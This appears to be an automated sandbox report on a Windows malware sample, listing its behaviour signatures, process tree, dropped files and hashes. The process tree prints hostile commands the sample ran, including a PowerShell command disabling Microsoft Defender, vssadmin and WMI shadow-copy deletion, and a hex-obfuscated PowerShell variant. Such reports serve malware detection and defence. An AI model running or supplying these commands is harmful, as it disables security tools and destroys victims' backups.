Analysis

  • max time kernel
    121s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    29/06/2026, 04:31

General

  • Target
    2026-06-27_a0912a302c7d7d3becb53be7e77c6f02_coinminer_glassworm_polyvice_quasar-rat.exe
  • Size 5.1MB
  • Sample260629-e5hmcset5r
  • SHA256 040f20b0554ecbb1936cb9cc87808db66e700c1bfb0ce941f9742a9051e53e6f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Detects executables embedding registry key / value combination indicative of disabling Windows Defen 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Disables Task Manager via registry modification
  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

  • Impair Defenses: Safe Mode Boot 1 TTPs 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops desktop.ini file(s) 64 IoCs
  • Enumerates connected drives 3 TTPs 26 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies registry class 30 IoCs
  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 10 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-06-27_a0912a302c7d7d3becb53be7e77c6f02_coinminer_glassworm_polyvice_quasar-rat.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-06-27_a0912a302c7d7d3becb53be7e77c6f02_coinminer_glassworm_polyvice_quasar-rat.exe"
    1⤵
    • Impair Defenses: Safe Mode Boot
    • Adds Run key to start application
    • Drops desktop.ini file(s)
    • Enumerates connected drives
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2652
    • C:\Users\Admin\AppData\Local\Temp\2026-06-27_a0912a302c7d7d3becb53be7e77c6f02_coinminer_glassworm_polyvice_quasar-rat.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-06-27_a0912a302c7d7d3becb53be7e77c6f02_coinminer_glassworm_polyvice_quasar-rat.exe" --modules-scan
      2⤵
        PID:2300
      • C:\Windows\SYSTEM32\DllHost.exe
        DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
        2⤵
          PID:4496
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableIOAVProtection $true -DisableScriptScanning $true"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:312
        • C:\Windows\SYSTEM32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          2⤵
          • Interacts with shadow copies
          PID:2280
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoP -NonI -W Hidden -Exec Bypass -C "Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete(); }"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3804
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4664
      • C:\Users\Admin\AppData\Local\Temp\2026-06-27_a0912a302c7d7d3becb53be7e77c6f02_coinminer_glassworm_polyvice_quasar-rat.exe
        C:\Users\Admin\AppData\Local\Temp\2026-06-27_a0912a302c7d7d3becb53be7e77c6f02_coinminer_glassworm_polyvice_quasar-rat.exe
        1⤵
          PID:692
        • C:\Windows\system32\vssvc.exe
          C:\Windows\system32\vssvc.exe
          1⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1152
        • C:\Windows\system32\wbem\wmiprvse.exe
          C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
          1⤵
            PID:1572
          • C:\Windows\system32\DllHost.exe
            C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
            1⤵
              PID:2648
            • C:\Windows\system32\BackgroundTaskHost.exe
              "C:\Windows\system32\BackgroundTaskHost.exe" -ServerName:BackgroundTaskHost.WebAccountProvider
              1⤵
                PID:4132
              • C:\Windows\System32\RuntimeBroker.exe
                C:\Windows\System32\RuntimeBroker.exe -Embedding
                1⤵
                  PID:5096
                • C:\Windows\System32\RuntimeBroker.exe
                  C:\Windows\System32\RuntimeBroker.exe -Embedding
                  1⤵
                    PID:3888
                  • C:\Windows\system32\BackgroundTransferHost.exe
                    "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                    1⤵
                      PID:3940
                    • C:\Windows\system32\BackgroundTransferHost.exe
                      "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                      1⤵
                        PID:3136
                      • C:\Windows\system32\backgroundTaskHost.exe
                        "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                        1⤵
                          PID:768
                        • C:\Windows\system32\backgroundTaskHost.exe
                          "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                          1⤵
                            PID:312
                          • C:\Windows\system32\BackgroundTransferHost.exe
                            "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                            1⤵
                              PID:3440
                            • C:\Windows\system32\BackgroundTransferHost.exe
                              "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                              1⤵
                                PID:268
                              • C:\Windows\System32\mousocoreworker.exe
                                C:\Windows\System32\mousocoreworker.exe -Embedding
                                1⤵
                                  PID:4212
                                • C:\Windows\system32\backgroundTaskHost.exe
                                  "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                  1⤵
                                    PID:5084
                                  • C:\Windows\system32\backgroundTaskHost.exe
                                    "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                    1⤵
                                      PID:3868
                                    • C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
                                      C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
                                      1⤵
                                        PID:2644
                                      • C:\Windows\system32\backgroundTaskHost.exe
                                        "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                        1⤵
                                          PID:1832
                                        • C:\Windows\system32\DllHost.exe
                                          C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                          1⤵
                                            PID:5412
                                          • C:\Windows\system32\backgroundTaskHost.exe
                                            "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                            1⤵
                                              PID:6380
                                            • C:\Windows\system32\BackgroundTaskHost.exe
                                              "C:\Windows\system32\BackgroundTaskHost.exe" -ServerName:BackgroundTaskHost.WebAccountProvider
                                              1⤵
                                                PID:8672
                                              • C:\Windows\System32\mousocoreworker.exe
                                                C:\Windows\System32\mousocoreworker.exe -Embedding
                                                1⤵
                                                  PID:7544

                                                Network

                                                      MITRE ATT&CK Enterprise v16

                                                      Replay Monitor

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                                                      Downloads

                                                      ActivitiesCache.db-shm

                                                      • Path C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\L.Admin\ActivitiesCache.db-shm
                                                      • Size 34KB
                                                      • SHA256 4b0c079d882b72a39f7df95d7fa1e0232772b3a42e54add6c9a6f72bea084d62
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                                      powershell.exe.log

                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                      • Size 2KB
                                                      • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                                                      • MD5 SHA1 SHA512 TLSH

                                                      StartupProfileData-NonInteractive

                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                      • Size 944B
                                                      • SHA256 9570e6f43affb98ad6f4228ad965ffc0a6829d2b40b4b073bb8677e7ba29dcee
                                                      • MD5 SHA1 SHA512 TLSH

                                                      StartupProfileData-NonInteractive

                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                      • Size 64B
                                                      • SHA256 c4943864fe79d020d309da4dc19d473512bf2fbc46794388a9799dec63c3052d
                                                      • MD5 SHA1 SHA512

                                                      __PSScriptPolicyTest_bfig3uvv.1i5.ps1

                                                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bfig3uvv.1i5.ps1
                                                      • Size 60B
                                                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                      • MD5 SHA1 SHA512 TLSH

                                                      wct1F3B.tmp.gicmlZQWQ

                                                      • Path C:\Users\Admin\AppData\Local\Temp\wct1F3B.tmp.gicmlZQWQ
                                                      • Size 40.2MB
                                                      • SHA256 a25e70613b236cd1b7b2b564691d76a499bc8c0773795d7497a10682f0222d71
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                                      File Explorer.lnk.gicmlZQWQ

                                                      • Path C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\File Explorer.lnk.gicmlZQWQ
                                                      • Size 932B
                                                      • SHA256 e62528d29708dbc4ce82e695ab621c8c4b7979df4ae0fa623d9903c16f525575
                                                      • MD5 SHA1 SHA512 TLSH

                                                      Firefox.lnk.gicmlZQWQ

                                                      • Path C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Firefox.lnk.gicmlZQWQ
                                                      • Size 1KB
                                                      • SHA256 68d35a630a946e5ff1c128af5b64077eedfd2d281929550410a881f3e4b5cde0
                                                      • MD5 SHA1 SHA512 TLSH

                                                      Google Chrome.lnk.gicmlZQWQ

                                                      • Path C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk.gicmlZQWQ
                                                      • Size 2KB
                                                      • SHA256 b4f50e8ac0dabece9af64172e618dfaadeea01b92d7dad66dff3d6c998b036e6
                                                      • MD5 SHA1 SHA512 TLSH

                                                      Acrobat Reader DC.lnk.gicmlZQWQ

                                                      • Path C:\Users\Public\Desktop\Acrobat Reader DC.lnk.gicmlZQWQ
                                                      • Size 4KB
                                                      • SHA256 103e0aa231b40c9e055810cf279edaa282a0a9d00db03d676633bc771a15a428
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                                      desktop.ini

                                                      • Path C:\Users\Public\Desktop\desktop.ini
                                                      • Size 2KB
                                                      • SHA256 caee33eb16268ba1964d6448d8a8f7220e5c36b1b4c73ca0584d68de0e95392d
                                                      • MD5 SHA1 SHA512 TLSH

                                                      memory/312-6-0x0000025B4D810000-0x0000025B4D832000-memory.dmp

                                                      memory/312-5-0x0000025B4D980000-0x0000025B4D990000-memory.dmp

                                                      memory/312-4-0x0000025B4D980000-0x0000025B4D990000-memory.dmp

                                                      memory/692-17-0x00007FF65CBE0000-0x00007FF65D10C000-memory.dmp

                                                      memory/2300-39-0x00007FF65CBE0000-0x00007FF65D10C000-memory.dmp

                                                      memory/2652-38-0x00007FF65CBE0000-0x00007FF65D10C000-memory.dmp

                                                      memory/2652-1328-0x00007FF65CBE0000-0x00007FF65D10C000-memory.dmp

                                                      memory/2652-43-0x00007FF65CBE0000-0x00007FF65D10C000-memory.dmp

                                                      memory/2652-41-0x00007FF65CBE0000-0x00007FF65D10C000-memory.dmp

                                                      memory/3128-0-0x0000000003050000-0x0000000003051000-memory.dmp

                                                      memory/3128-14-0x0000000003050000-0x0000000003051000-memory.dmp